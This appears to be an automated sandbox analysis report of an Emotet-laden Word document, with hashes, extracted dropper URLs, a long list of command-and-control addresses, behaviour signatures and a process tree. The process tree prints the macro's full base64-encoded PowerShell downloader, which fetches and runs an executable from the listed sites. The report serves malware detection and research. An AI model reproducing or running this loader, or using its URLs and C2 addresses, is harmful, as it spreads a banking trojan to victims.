emotet | 34e8811492cd8da5ce69e6cb1a67c2323c637ed0705436bc1e8dec1badd96ce7

Analysis

max time kernel
136s
max time network
152s
platform
windows10_x64
resource
win10
submitted
19/09/2020, 07:14

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General

Target
emotet_e2_34e8811492cd8da5ce69e6cb1a67c2323c637ed0705436bc1e8dec1badd96ce7_2020-09-19__071300645106._doc.doc
Size 177KB
Sample200919-ryc79g3jk2
SHA256 34e8811492cd8da5ce69e6cb1a67c2323c637ed0705436bc1e8dec1badd96ce7
MD5 cdac35471fc22235a3fbd35ac9043061
SHA1 05acb368b0afe9a2eb4482305c54e02360ebd1ff
SHA512 dd334941bafa6ac5fdf6a2d5714ec1ab1815397b9fd022f77428206f0af861c03267d3fb843132ac24cd712e96de8cc2b8088250d7a4643392bc16b036859dae
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://santyago.org/wp-content/0mcYS6/
exe.dropper
http://dandyair.com/font-awesome/rOOAL/
exe.dropper
https://www.tekadbatam.com/wp-content/AUiw/
exe.dropper
http://kellymorganscience.com/wp-content/SCsWM/
exe.dropper
https://tewoerd.eu/img/DALSKE/
exe.dropper
http://mediainmedia.com/plugin_opencart2.3-master/Atye/
exe.dropper
http://nuwagi.com/old/XLGjc/

Extracted

Family

emotet

71.72.196.159:80
134.209.36.254:8080
120.138.30.150:8080
94.23.216.33:80
157.245.99.39:8080
137.59.187.107:8080
94.23.237.171:443
61.19.246.238:443
156.155.166.221:80
50.35.17.13:80
153.137.36.142:80
91.211.88.52:7080
209.141.54.221:8080
185.94.252.104:443
174.45.13.118:80
87.106.136.232:8080
62.75.141.82:80
213.196.135.145:80
188.219.31.12:80
82.80.155.43:80
187.161.206.24:80
172.91.208.86:80
124.41.215.226:80
107.5.122.110:80
200.123.150.89:443
95.179.229.244:8080
83.169.36.251:8080
1.221.254.82:80
95.213.236.64:8080
181.169.34.190:80
47.144.21.12:443
203.153.216.189:7080
89.216.122.92:80
84.39.182.7:80
94.200.114.161:80
104.236.246.93:8080
139.99.158.11:443
176.111.60.55:8080
78.24.219.147:8080
220.245.198.194:80
62.30.7.67:443
139.162.108.71:8080
104.32.141.43:80
153.232.188.106:80
93.147.212.206:80
79.137.83.50:443
96.249.236.156:443
24.43.99.75:80
75.80.124.4:80
42.200.107.142:80
110.5.16.198:80
5.196.74.210:8080
110.145.77.103:80
200.114.213.233:8080
85.152.162.105:80
5.39.91.110:7080
109.74.5.95:8080
140.186.212.146:80
37.187.72.193:8080
97.82.79.83:80
139.130.242.43:80
201.173.217.124:443
123.176.25.234:80
104.131.44.150:8080
74.208.45.104:8080
139.59.60.244:8080
120.150.60.189:80
74.219.172.26:80
219.75.128.166:80
82.225.49.121:80
85.105.205.77:8080
24.179.13.119:80
74.120.55.163:80
174.102.48.180:443
219.74.18.66:443
168.235.67.138:7080
194.187.133.160:443
78.187.156.31:80
103.86.49.11:8080
61.92.17.12:80
24.137.76.62:80
104.131.11.150:443
79.98.24.39:8080
75.139.38.211:80
162.241.242.173:8080
195.251.213.56:80
37.139.21.175:8080
46.105.131.79:8080
50.91.114.38:80
121.124.124.40:7080
74.134.41.124:80
68.188.112.97:80
137.119.36.33:80
121.7.127.163:80
87.106.139.101:8080
94.1.108.190:443
169.239.182.217:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1684	632	powershell.exe	73

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2872-15-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/2872-15-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/2872-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2872-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1692-20-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet
behavioral2/memory/1692-20-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1684	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2872	Dzdsyqxb.exe
1692	mobsync.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\LaunchWinApp\mobsync.exe	Dzdsyqxb.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2788	WINWORD.EXE
2788	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1684	powershell.exe
1684	powershell.exe
1684	powershell.exe
1692	mobsync.exe
1692	mobsync.exe
1692	mobsync.exe
1692	mobsync.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2788	WINWORD.EXE
2788	WINWORD.EXE
2788	WINWORD.EXE
2788	WINWORD.EXE
2788	WINWORD.EXE
2788	WINWORD.EXE
2788	WINWORD.EXE
2788	WINWORD.EXE
2788	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 2872	1684	powershell.exe	78
PID 1684 wrote to memory of 2872	1684	powershell.exe	78
PID 1684 wrote to memory of 2872	1684	powershell.exe	78
PID 2872 wrote to memory of 1692	2872	Dzdsyqxb.exe	82
PID 2872 wrote to memory of 1692	2872	Dzdsyqxb.exe	82
PID 2872 wrote to memory of 1692	2872	Dzdsyqxb.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_34e8811492cd8da5ce69e6cb1a67c2323c637ed0705436bc1e8dec1badd96ce7_2020-09-19__071300645106._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABUADEAeAB5AHkAeQB4AD0AKAAoACcASwAnACsAJwBrAHkAbQAnACkAKwAoACcAXwA0ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBFAHIAUABSAE8ARgBpAEwAZQBcAHUANgB3ADcATwBfAGwAXABQAFMAagBrADMAcABOAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAEUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBjAFUAUgBpAGAAVABgAHkAUAByAG8AVABvAGMAYABvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAxADEAJwApACsAJwAsACcAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQARQByAG8AcwAzAGYAYwAgAD0AIAAoACgAJwBEACcAKwAnAHoAZAAnACkAKwAoACcAcwAnACsAJwB5AHEAeABiACcAKQApADsAJABHAHIAdgBuAGYAcwAzAD0AKAAoACcARAAzAGIAcwAnACsAJwBvACcAKQArACcAbQBmACcAKQA7ACQAQQBrADEAYwBkAHcAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEYAJwArACcAeAAnACsAJwAyAFUAJwArACcANgB3ADcAbwBfAGwAJwApACsAJwBGACcAKwAoACcAeAAnACsAJwAyAFAAcwBqACcAKQArACcAawAnACsAJwAzACcAKwAnAHAAJwArACgAJwBuACcAKwAnAEYAeAAnACkAKwAnADIAJwApAC0AUgBFAHAAbABhAGMARQAgACAAKAAnAEYAeAAnACsAJwAyACcAKQAsAFsAYwBoAGEAUgBdADkAMgApACsAJABFAHIAbwBzADMAZgBjACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABZAHMAZQBtAF8AcwA0AD0AKAAoACcATgAnACsAJwBnAGMAJwApACsAJwBtADcAJwArACcAdgBrACcAKQA7ACQATgBjADIAeQAwAG8AMgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBjAGwAaQBlAG4AdAA7ACQASAA1AHQANQA1AG8AawA9ACgAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAcwA6ACcAKwAnAC8ALwBzACcAKwAnAGEAJwApACsAJwBuAHQAJwArACgAJwB5AGEAJwArACcAZwAnACkAKwAoACcAbwAuAG8AcgBnACcAKwAnAC8AJwApACsAJwB3ACcAKwAoACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACcAdAAvACcAKwAoACcAMABtACcAKwAnAGMAWQBTADYAJwApACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBkACcAKQArACcAYQAnACsAKAAnAG4AZAAnACsAJwB5ACcAKQArACcAYQBpACcAKwAnAHIALgAnACsAJwBjAG8AJwArACgAJwBtAC8AZgBvACcAKwAnAG4AdAAnACsAJwAtAGEAJwApACsAKAAnAHcAJwArACcAZQBzAG8AbQAnACkAKwAoACcAZQAvAHIAJwArACcATwAnACkAKwAoACcATwAnACsAJwBBACcAKwAnAEwALwAqAGgAdAB0ACcAKQArACgAJwBwAHMAOgAvACcAKwAnAC8AdwB3AHcALgAnACsAJwB0AGUAawAnACsAJwBhAGQAYgBhAHQAYQBtAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAJwApACsAJwBuACcAKwAnAHQALwAnACsAKAAnAEEAVQBpACcAKwAnAHcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAGsAJwArACcAZQAnACkAKwAoACcAbABsACcAKwAnAHkAJwApACsAJwBtACcAKwAoACcAbwByAGcAYQBuACcAKwAnAHMAYwAnACsAJwBpAGUAJwApACsAJwBuAGMAJwArACgAJwBlAC4AJwArACcAYwAnACkAKwAoACcAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAJwArACcAZQAnACkAKwAoACcAbgAnACsAJwB0AC8AUwAnACkAKwAoACcAQwBzACcAKwAnAFcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwB0ACcAKQArACcAZQAnACsAKAAnAHcAbwAnACsAJwBlACcAKQArACcAcgAnACsAJwBkACcAKwAnAC4AJwArACcAZQB1ACcAKwAoACcALwAnACsAJwBpAG0AZwAvAEQAQQAnACsAJwBMAFMAJwApACsAJwBLACcAKwAnAEUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAG0AZQAnACsAJwBkACcAKQArACcAaQBhACcAKwAoACcAaQBuACcAKwAnAG0AZQAnACkAKwAoACcAZABpACcAKwAnAGEAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwAnACsAJwBwAGwAJwApACsAJwB1ACcAKwAoACcAZwBpAG4AXwBvAHAAJwArACcAZQBuACcAKQArACgAJwBjAGEAcgB0ACcAKwAnADIAJwApACsAKAAnAC4AMwAtACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAcwB0ACcAKwAnAGUAcgAvACcAKQArACgAJwBBAHQAeQAnACsAJwBlAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAbgB1AHcAYQAnACsAJwBnAGkALgBjAG8AJwArACcAbQAvAG8AbAAnACsAJwBkACcAKwAnAC8AWABMAEcAagBjAC8AJwApACkALgAiAHMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUAAxAHAAZwBiAGwAagA9ACgAKAAnAFgAaQAnACsAJwA2ACcAKQArACgAJwBiACcAKwAnAGkAaQAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAWABoAHoANwBuAGsAbQAgAGkAbgAgACQASAA1AHQANQA1AG8AawApAHsAdAByAHkAewAkAE4AYwAyAHkAMABvADIALgAiAGQAbwBXAE4ATABPAGAAQQBkAGYASQBgAEwAZQAiACgAJABYAGgAegA3AG4AawBtACwAIAAkAEEAawAxAGMAZAB3AHEAKQA7ACQAWQBrADEAMABzADEAXwA9ACgAKAAnAFMAJwArACcAbgA1ADAAcAAnACkAKwAnAHAAagAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQQBrADEAYwBkAHcAcQApAC4AIgBsAGUAbgBgAEcAdABoACIAIAAtAGcAZQAgADMAMQAyADMAOQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABBAGsAMQBjAGQAdwBxACkAOwAkAFkAOAB6ADkAMABnAHgAPQAoACgAJwBJAHEAMgAnACsAJwB5ACcAKQArACgAJwAzAF8AJwArACcAawAnACkAKQA7AGIAcgBlAGEAawA7ACQAUwBvAHYANwBsAHYANwA9ACgAJwBSACcAKwAnAHMAJwArACgAJwB6ACcAKwAnAHIAawBuAHIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAdQBrAGwAYwBxAF8APQAoACgAJwBCADEAZwAnACsAJwBrACcAKQArACcAaQAnACsAJwBkADkAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe
  "C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\SysWOW64\LaunchWinApp\mobsync.exe
    "C:\Windows\SysWOW64\LaunchWinApp\mobsync.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1684-9-0x00007FFA17B00000-0x00007FFA184EC000-memory.dmp

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memory/1684-11-0x00000206CAF90000-0x00000206CAF91000-memory.dmp

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memory/1684-10-0x00000206CADE0000-0x00000206CADE1000-memory.dmp

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memory/1692-20-0x00000000005C0000-0x00000000005D0000-memory.dmp

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memory/2788-5-0x00000188E7DD6000-0x00000188E7DD9000-memory.dmp

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memory/2788-8-0x00000188E7F70000-0x00000188E7F81000-memory.dmp

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memory/2788-7-0x00000188E7F67000-0x00000188E7F70000-memory.dmp

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memory/2788-6-0x00000188E5A86000-0x00000188E5AA7000-memory.dmp

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memory/2788-0-0x00007FFA23930000-0x00007FFA23FF6000-memory.dmp

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memory/2788-4-0x00000188E7DD9000-0x00000188E7DEA000-memory.dmp

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memory/2788-3-0x00000188E7DD9000-0x00000188E7DEA000-memory.dmp

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memory/2788-2-0x00000188E7DD9000-0x00000188E7DEA000-memory.dmp

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memory/2788-1-0x00000188E7DD9000-0x00000188E7DEA000-memory.dmp

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memory/2872-15-0x0000000000590000-0x00000000005A2000-memory.dmp

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memory/2872-16-0x00000000001F0000-0x0000000000200000-memory.dmp

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